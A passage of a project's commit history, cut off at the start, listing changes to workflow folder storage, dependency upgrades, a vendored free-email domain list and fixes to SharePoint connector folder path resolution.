not check that exact value" the normal empty state on those selectors. Also: pass handlers straight to the combobox rather than through identity wrappers that defeated its memo, move the latest-callback ref write into an effect, rename the raw search setter so the deduping write path cannot be bypassed, and correct the prop and staleTime docs. |
||
|
Waleed
|
60f2d031b0 |
feat(folders): move workflow folders onto the generic folder table (#6025)
- Repoints every workflow-folder read and write from `workflow_folder` to the generic `folder` table backfilled by migration 0272, scoped to `resourceType = 'workflow'`; the legacy table is left in place, unread and unwritten - Adds the resourceType filter to id-keyed lookups too: UUIDs cannot collide, but a caller could pass a file/kb/table folder id as a workflow folderId - Handles the generic table's active sibling-name unique index, which `workflow_folder` never had — 409 on create/rename, auto-suffix on restore and duplicate, mkdir -p reuse on admin import - Scopes the shared soft-delete cleanup job so it cannot hard-delete other resource types' folder rows - Drops the dead createFolderRecord/updateFolderRecord/deleteFolderRecord helpers |
||
|
Waleed
|
665fd4ebeb |
chore(deps): vendor the free-email domain list and drop unused packages (#6032)
* chore(deps): vendor the free-email domain list and drop unused packages - vendor free-email-domains: its postinstall downloads a CDN CSV and overwrites its own domains.json, so the lockfile hash covers the tarball but not the installed data - drop tailwind-merge and autoprefixer from apps/sim, which imports neither (emcn and docs declare their own tailwind-merge; postcss.config loads only tailwindcss) * fix(email): split two fused domain entries in the vendored list Upstream joins mail2moldova.com/mail2molly.com and smileyface.com/smithemail.net into one entry each, a CSV line-join artifact that made all four read as work addresses. Splitting them keeps the list sorted and adds a guard against a naive refresh. |
||
|
Waleed
|
805ac3328d |
chore(deps): upgrade react-email to v6 (#6034)
@react-email/components 0.5.7 to 1.0.12, @react-email/render 2.0.8 to 2.1.0, react-email 4.3.2 to 6.9.0. Rendered all 21 templates under both versions and diffed: visible text, clickable links and image sources are identical. The only output changes are a dropped <link rel=preload> block, which email clients strip with the rest of <head>, and a margin/padding reset on <body>. |
||
|
Waleed
|
69b836455c |
chore(deps): move to the renamed @daytona/sdk package (#6033)
@daytonaio/sdk was renamed upstream to @daytona/sdk; the old name stops receiving releases. Import-specifier change only, plus the matching serverExternalPackages entry. |
||
|
Waleed
|
dc94879621 |
fix(connectors): attribute SharePoint not-found errors to the matched library (#6029)
* fix(connectors): attribute SharePoint not-found errors to the matched library
When the first path segment named a real non-default document library but the
remainder did not resolve there, the failure message described a search of the
default library over the full original path, and advised stripping a library
prefix the user had supplied correctly.
Report against the library that was matched, over the remainder that was
actually searched, and only suggest omitting a leading library name when the
default library really was the one searched.
* fix(connectors): key the library-prefix hint on the library actually searched
Deriving the flag from `!libraryMatch` suppressed the hint when the path named
the default library itself ("Documents/Reports"), which is exactly the case the
hint exists for. Key it on whether the reported drive is the default library.
|
||
|
Theodore Li
|
3d72ab3d13 | fix(cleanup): bind array params as arrays, not expanded value lists (#6010) | ||
|
Waleed
|
c77300f82e |
fix(connectors): resolve SharePoint folder paths against the right document library (#6026)
Folder-scoped SharePoint connectors failed with "Folder not found" for folders that exist and are readable with the same credential, leaving whole-library sync as the only option. - resolve the target drive explicitly and thread it through listing, download and hydration, which previously hardcoded the site default - resolve folder paths in layers: byte-exact addressing first (unchanged), then a leading document-library name, then a normalized children walk that recovers names carrying non-breaking or invisible whitespace - accept a folder URL from the browser address bar - report the site, library, attempted path and existing folder names on failure instead of a bare "Folder not found" - document the expected folder path format in the connector schema |